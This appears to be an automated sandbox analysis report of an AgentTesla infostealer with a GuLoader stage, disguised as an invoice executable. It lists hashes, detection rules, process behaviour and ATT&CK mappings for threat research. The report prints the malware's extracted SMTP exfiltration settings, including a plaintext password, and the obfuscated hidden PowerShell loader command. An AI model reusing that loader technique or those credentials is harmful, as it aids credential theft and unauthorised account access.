agenttesla | 387c5b3cb56c68362439c365d015c52229c054de1797daa001c54515f25b7e04

Analysis

max time kernel
162s
max time network
169s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
15/03/2024, 02:08

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General

Target

Details And Invoices.exe
Size

685KB
MD5

19ab7a94788f74e80ccd992895853796
SHA1

a39d701199164f300f8715e72630ffae0679f86f
SHA256

88bdbcde8b2d570627dc08c006aa9636a69beb588c9a17e651ce783a7450f7f1
SHA512

4f7e2a2a99f29f21b60f5208937dc19cc6f350152fd8147069840261161715fe7ec6637ced5fd7e4f8f60c0d87879f32f33fd45325db4544435afec9b2f9c59a
SSDEEP

12288:3NCe3Ka5ATVEhjHskBmQwwLETQsAVudsBvAFuMricTsN:3NCVaG+jMkcQwBQl4dkvAOUsN

Score

10^/10

agenttesla guloader downloader keylogger spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
smtp.gmail.com
Port:
587
Username:
[email protected]
Password:
hwuo jybd dtga lmyz
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla
Guloader,Cloudeye
A shellcode based downloader first seen in 2020.
downloader guloader

Detect packed .NET executables. Mostly AgentTeslaV4. 2 IoCs

resource	yara_rule
behavioral2/memory/3028-171-0x0000000000F00000-0x0000000002154000-memory.dmp	INDICATOR_EXE_Packed_GEN01
behavioral2/memory/3028-174-0x0000000000F00000-0x0000000000F44000-memory.dmp	INDICATOR_EXE_Packed_GEN01

Detects binaries (Windows and macOS) referencing many web browsers. Observed in information stealers. 2 IoCs

resource	yara_rule
behavioral2/memory/3028-171-0x0000000000F00000-0x0000000002154000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers
behavioral2/memory/3028-174-0x0000000000F00000-0x0000000000F44000-memory.dmp	INDICATOR_SUSPICIOUS_Binary_References_Browsers

Detects executables referencing Windows vault credential objects. Observed in infostealers 2 IoCs

resource	yara_rule
behavioral2/memory/3028-171-0x0000000000F00000-0x0000000002154000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID
behavioral2/memory/3028-174-0x0000000000F00000-0x0000000000F44000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_VaultSchemaGUID

Detects executables referencing many confidential data stores found in browsers, mail clients, cryptocurreny wallets, etc. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/3028-171-0x0000000000F00000-0x0000000002154000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store
behavioral2/memory/3028-174-0x0000000000F00000-0x0000000000F44000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Confidential_Data_Store

Detects executables referencing many email and collaboration clients. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/3028-171-0x0000000000F00000-0x0000000002154000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients
behavioral2/memory/3028-174-0x0000000000F00000-0x0000000000F44000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_References_Messaging_Clients

Detects executables referencing many file transfer clients. Observed in information stealers 2 IoCs

resource	yara_rule
behavioral2/memory/3028-171-0x0000000000F00000-0x0000000002154000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients
behavioral2/memory/3028-174-0x0000000000F00000-0x0000000000F44000-memory.dmp	INDICATOR_SUSPICIOUS_EXE_Referenfces_File_Transfer_Clients

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
95	api.ipify.org

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
3028	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
3780	powershell.exe
3028	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3780 set thread context of 3028	3780	powershell.exe	111

Drops file in Windows directory 4 IoCs

description	ioc	Process
File opened for modification	C:\Windows\resources\sgangen\Pack.pun	Details And Invoices.exe
File opened for modification	C:\Windows\resources\rumprogram\Solure.ini	Details And Invoices.exe
File created	C:\Windows\resources\Mydatoxine.lnk	Details And Invoices.exe
File opened for modification	C:\Windows\resources\Mydatoxine.lnk	Details And Invoices.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3780	powershell.exe
3028	wab.exe
3028	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
3780	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3780	powershell.exe
Token: SeDebugPrivilege	3028	wab.exe

Suspicious use of WriteProcessMemory 11 IoCs

description	pid	Process	procid_target
PID 392 wrote to memory of 3780	392	Details And Invoices.exe	90
PID 392 wrote to memory of 3780	392	Details And Invoices.exe	90
PID 392 wrote to memory of 3780	392	Details And Invoices.exe	90
PID 3780 wrote to memory of 2844	3780	powershell.exe	99
PID 3780 wrote to memory of 2844	3780	powershell.exe	99
PID 3780 wrote to memory of 2844	3780	powershell.exe	99
PID 3780 wrote to memory of 3028	3780	powershell.exe	111
PID 3780 wrote to memory of 3028	3780	powershell.exe	111
PID 3780 wrote to memory of 3028	3780	powershell.exe	111
PID 3780 wrote to memory of 3028	3780	powershell.exe	111
PID 3780 wrote to memory of 3028	3780	powershell.exe	111

C:\Users\Admin\AppData\Local\Temp\Details And Invoices.exe
"C:\Users\Admin\AppData\Local\Temp\Details And Invoices.exe"
1⤵
- Drops file in Windows directory
- Suspicious use of WriteProcessMemory
PID:392
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell" -windowstyle hidden "$Villys=Get-Content 'C:\Users\Admin\AppData\Local\Temp\clinginess\Calycanthemy92\unvitiated\Immatrikulerendes\Trogons.Thi';$Piniferous=$Villys.SubString(25882,3);.$Piniferous($Villys)"
  2⤵
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3780
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "set /A 1^^0"
    3⤵
    PID:2844
- - C:\Program Files (x86)\windows mail\wab.exe
    "C:\Program Files (x86)\windows mail\wab.exe"
    3⤵
    - Suspicious use of NtCreateThreadExHideFromDebugger
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3028

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lpgvejbp.5cp.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\clinginess\Calycanthemy92\unvitiated\Immatrikulerendes\Trogons.Thi

Filesize
53KB

MD5
5fd33bf891b22a73cefc7584dab237d7

SHA1
c6412a8f00de3c3bf551dc729aeaa95b29e06786

SHA256
f0a0b4b3cac5b00ba4d6c865ff4492e2aca2e7521e9da310866512e7ec06a8ad

SHA512
744b84aecc85f04f6203e40285bb716b6c24121ec0b2266ee938ddaa195e46d4fb710541f78fe79738e68faff7beb097505c3867f4eea5f90e3e873f2480d110

Download Submit
C:\Users\Admin\AppData\Local\Temp\clinginess\Calycanthemy92\unvitiated\Relativpronomens\Sportspc\Defektes\Encist\Ethologically.Reh

Filesize
308KB

MD5
b01e631f8c811b42b4591226c7d0b090

SHA1
4cf771606b7437d16ac5d8e649b7c379c9bfb9e0

SHA256
4d94c050d89bab0d92d66c3f70e2aa3dc6732d2c87daa57d60694d1f8f8e8243

SHA512
ac1045c977d2d001af655a2956f57a1780f7310d13c5ab6d1d1898cd31e3cd6ad2f8c27c0e1e01497e9b97c504e7bfd50e971d4fb4fbdd957e7dce84c6217c10

Download Submit
C:\Windows\Resources\Mydatoxine.lnk

Filesize
1KB

MD5
aa55740cef38213406ca4795c1f049a6

SHA1
fa40155a18093d0cca1bfed220d82f36380d6491

SHA256
a75deb1937acf32299ee8f6700e1db589e1bb08c2eb3606c4e080c7637ee25c7

SHA512
58473a13dc2f61af893e58e8756ab0680f4097e808c58e63a3f49dea4aadf40e7e280d6392ba9554c64d509e249a5b4a17d16d985e508a62cb6c6f818de4e0e3

Download Submit
memory/3028-175-0x0000000073D30000-0x00000000744E0000-memory.dmp

Filesize
7.7MB

Download
memory/3028-172-0x0000000077781000-0x00000000778A1000-memory.dmp

Filesize
1.1MB

Download
memory/3028-171-0x0000000000F00000-0x0000000002154000-memory.dmp

Filesize
18.3MB

Download
memory/3028-167-0x0000000000F00000-0x0000000002154000-memory.dmp

Filesize
18.3MB

Download
memory/3028-166-0x0000000077781000-0x00000000778A1000-memory.dmp

Filesize
1.1MB

Download
memory/3028-174-0x0000000000F00000-0x0000000000F44000-memory.dmp

Filesize
272KB

Download
memory/3028-165-0x0000000077808000-0x0000000077809000-memory.dmp

Filesize
4KB

Download
memory/3028-177-0x0000000002160000-0x00000000034E3000-memory.dmp

Filesize
19.5MB

Download
memory/3028-164-0x0000000002160000-0x00000000034E3000-memory.dmp

Filesize
19.5MB

Download
memory/3028-178-0x0000000021650000-0x0000000021660000-memory.dmp

Filesize
64KB

Download
memory/3780-141-0x00000000069A0000-0x00000000069BE000-memory.dmp

Filesize
120KB

Download
memory/3780-161-0x0000000005680000-0x0000000005690000-memory.dmp

Filesize
64KB

Download
memory/3780-146-0x0000000006F60000-0x0000000006F82000-memory.dmp

Filesize
136KB

Download
memory/3780-147-0x00000000081C0000-0x0000000008764000-memory.dmp

Filesize
5.6MB

Download
memory/3780-144-0x0000000007B70000-0x0000000007C06000-memory.dmp

Filesize
600KB

Download
memory/3780-149-0x0000000008DF0000-0x000000000946A000-memory.dmp

Filesize
6.5MB

Download
memory/3780-150-0x0000000073D30000-0x00000000744E0000-memory.dmp

Filesize
7.7MB

Download
memory/3780-151-0x0000000005680000-0x0000000005690000-memory.dmp

Filesize
64KB

Download
memory/3780-152-0x0000000005680000-0x0000000005690000-memory.dmp

Filesize
64KB

Download
memory/3780-154-0x0000000005680000-0x0000000005690000-memory.dmp

Filesize
64KB

Download
memory/3780-143-0x0000000005680000-0x0000000005690000-memory.dmp

Filesize
64KB

Download
memory/3780-157-0x0000000007E30000-0x0000000007E34000-memory.dmp

Filesize
16KB

Download
memory/3780-158-0x0000000009470000-0x000000000A7F3000-memory.dmp

Filesize
19.5MB

Download
memory/3780-159-0x0000000005680000-0x0000000005690000-memory.dmp

Filesize
64KB

Download
memory/3780-160-0x0000000009470000-0x000000000A7F3000-memory.dmp

Filesize
19.5MB

Download
memory/3780-145-0x0000000006ED0000-0x0000000006EEA000-memory.dmp

Filesize
104KB

Download
memory/3780-162-0x0000000009470000-0x000000000A7F3000-memory.dmp

Filesize
19.5MB

Download
memory/3780-163-0x0000000077781000-0x00000000778A1000-memory.dmp

Filesize
1.1MB

Download
memory/3780-142-0x00000000069F0000-0x0000000006A3C000-memory.dmp

Filesize
304KB

Download
memory/3780-140-0x00000000063F0000-0x0000000006744000-memory.dmp

Filesize
3.3MB

Download
memory/3780-130-0x0000000005BE0000-0x0000000005C46000-memory.dmp

Filesize
408KB

Download
memory/3780-129-0x0000000005B70000-0x0000000005BD6000-memory.dmp

Filesize
408KB

Download
memory/3780-128-0x00000000059D0000-0x00000000059F2000-memory.dmp

Filesize
136KB

Download
memory/3780-127-0x0000000005CC0000-0x00000000062E8000-memory.dmp

Filesize
6.2MB

Download
memory/3780-173-0x0000000073D30000-0x00000000744E0000-memory.dmp

Filesize
7.7MB

Download
memory/3780-126-0x0000000005680000-0x0000000005690000-memory.dmp

Filesize
64KB

Download
memory/3780-125-0x0000000005680000-0x0000000005690000-memory.dmp

Filesize
64KB

Download
memory/3780-176-0x0000000009470000-0x000000000A7F3000-memory.dmp

Filesize
19.5MB

Download
memory/3780-124-0x0000000073D30000-0x00000000744E0000-memory.dmp

Filesize
7.7MB

Download
memory/3780-123-0x0000000003050000-0x0000000003086000-memory.dmp

Filesize
216KB

Download